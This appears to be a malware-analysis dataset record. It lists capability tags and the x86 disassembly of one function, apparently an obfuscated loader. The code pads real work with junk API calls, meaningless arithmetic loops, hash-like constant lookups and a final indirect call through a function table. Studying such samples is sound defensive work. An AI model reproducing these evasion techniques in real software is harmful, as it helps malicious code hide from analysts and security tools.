Function at 0x10006350
Capabilities:
Check for unexpected memory writes
Clear file content
Copy file
Create directory
Create pipe
Delete directory
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get uefi variable
Identify system language via api
Manipulate console buffer
Move file
Set current directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003d8dd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x470
call fcn.10003720
push 0x10066224
lea ecx, [ebp - 0x6c]
call fcn.1000cc60
mov dword [ebp - 4], 0
lea eax, [ebp - 0x6c]
push eax
call fcn.10006250
add esp, 4
mov dword [ebp - 0x38], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6c]
call fcn.1000cb90
cmp dword [0x1003fb04], 0x7825249
jne 0x10006531
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetBitmapDimensionEx]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateEllipticRgn]
push 0
call dword [sym.imp.GDI32.dll_SetMetaRgn]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DiscardVirtualMemory]
push 0
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 0
call dword [sym.imp.KERNEL32.dll_SetSearchPathMode]
push 0
push 0
push 0
push 0
push 0x10066240
call dword [sym.imp.KERNEL32.dll_FindFirstFileNameTransactedW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateRoundRectRgn]
push 0
call dword [sym.imp.GDI32.dll_GetSystemPaletteUse]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
push 0
call dword [sym.imp.GDI32.dll_PathToRegion]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RtlPcToFileHeader]
call dword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_AddFontResourceExW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWriteWatch]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileBandwidthReservation]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
push 0
push 0
push 0
push 0
push 0x1006627c
call dword [sym.imp.KERNEL32.dll_FindFirstStreamTransactedW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_UnregisterWaitEx]
push 0
call dword [sym.imp.GDI32.dll_SaveDC]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetApplicationRecoveryCallback]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteBoundaryDescriptor]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CombineRgn]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_PolyDraw]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
call dword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
lea ecx, [ebp - 0x274]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jbe 0x10006583
cmp dword [ebp - 0x2c], 0x104
jae 0x10006583
lea edx, [ebp - 0x47c]
push edx
push 0
push 0x1006629c
lea eax, [ebp - 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x10006583
lea ecx, [ebp - 0x47c]
push ecx
call fcn.1000a620
add esp, 4
push 0x5cc836fd
push 0xc19d524c
push 0x84984a33
call fcn.10005c80
add esp, 0xc
cmp dword [0x1003fb04], 0x27df18f7
jne 0x100067a1
push 0
push 0
call dword [sym.imp.GDI32.dll_SetMetaFileBitsEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push 0
push 0
push 0
push 0
push 0x100662a8
push 0
push 0x100662cc
push 0
push 0x10066300
call dword [sym.imp.KERNEL32.dll_CompareStringEx]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessorNumberEx]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LockFileEx]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_EnumMetaFile]
push 0
call dword [sym.imp.KERNEL32.dll_SetUserGeoID]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileIntW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_PolylineTo]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileBandwidthReservation]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_EnumEnhMetaFile]
push 0
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexExW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreExW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
call dword [sym.imp.KERNEL32.dll_UnregisterApplicationRestart]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckTokenCapability]
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolIo]
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadStackGuarantee]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_Ellipse]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0
call dword [sym.imp.KERNEL32.dll_ApplicationRecoveryInProgress]
push 0
call dword [sym.imp.KERNEL32.dll_TryAcquireSRWLockExclusive]
push 0
call dword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.10005810
add esp, 4
mov dword [ebp - 0x4c], eax
mov edx, 4
imul eax, edx, 0xa9
mov ecx, dword [0x1005c2c4]
mov edx, dword [ecx + eax]
add edx, 4
mov eax, 4
imul ecx, eax, 0xa9
mov eax, dword [0x1005c2c4]
mov dword [eax + ecx], edx
cmp dword [0x1003fb04], 0x21ec9b4e
jne 0x10006a44
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
push 0
push 0
push 0
push 0x1006633c
push 0
call dword [sym.imp.KERNEL32.dll_GetFileMUIPath]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeServerProcessId]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolWork]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryTransactedW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
push 0
call dword [sym.imp.KERNEL32.dll_FatalExit]
push 0
call fcn.10005520
add esp, 4
mov dword [ebp - 0x18], 0xacc
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
add eax, 0x193
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0x852
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x1a4b
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x20]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10006aab
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
jmp 0x10006a91
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x30], 0
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x14]
add eax, 0x128c
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x13df
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x1c]
add edx, 0x687
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x14]
add eax, 0x1a4c
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x20]
add edx, 0xcc3
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x20]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10006b45
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
jmp 0x10006b2b
mov eax, dword [ebp - 0x1c]
sub eax, 0xe5c
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x1f22
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x2563
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x10b4
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x10]
and eax, 0x80000001
jns 0x10006b95
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x10006ba4
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
jmp 0x10006b86
mov edx, dword [ebp - 0x14]
sub edx, 0x46a
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
add ecx, 0x1cd2
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x14]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10006be0
mov edx, dword [ebp - 0x14]
add edx, 0x232f
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x1f10
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x18]
add edx, 0xd74
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 0x259a
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x1c66
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], 0
jmp 0x10006c34
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x30
jge 0x10006c45
mov ecx, dword [ebp - 0x14]
sub ecx, 5
mov dword [ebp - 0x14], ecx
jmp 0x10006c2b
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0xd69
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x569
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, 0x14fb
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x28], 0
jmp 0x10006cc2
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], 0x5f
jge 0x10006cd3
mov edx, dword [ebp - 0x10]
sub edx, 2
mov dword [ebp - 0x10], edx
jmp 0x10006cb9
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x20]
sub ecx, 0x1e3a
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x5c5
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x28b
mov dword [ebp - 0x10], eax
push 0
push 0
call fcn.100078c0
add esp, 8
mov ecx, 4
imul edx, ecx, 0xa9
mov eax, dword [0x1005c2c4]
mov ecx, dword [eax + edx]
mov dword [ebp - 0x40], ecx
call dword [ebp - 0x40]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddVectoredContinueHandler]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFiber]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileBandwidthReservation]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push 0
call dword [sym.imp.KERNEL32.dll_InitializeConditionVariable]
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x44], edx
push 0
mov eax, dword [ebp - 0x44]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeServerSessionId]
push 0
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommModemStatus]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push 0
call dword [sym.imp.KERNEL32.dll_DisableThreadProfiling]
call dword [sym.imp.KERNEL32.dll_GetThreadErrorMode]
push 0
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetApplicationRestartSettings]
push 0
call dword [sym.imp.KERNEL32.dll_DisassociateCurrentThreadFromCallback]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret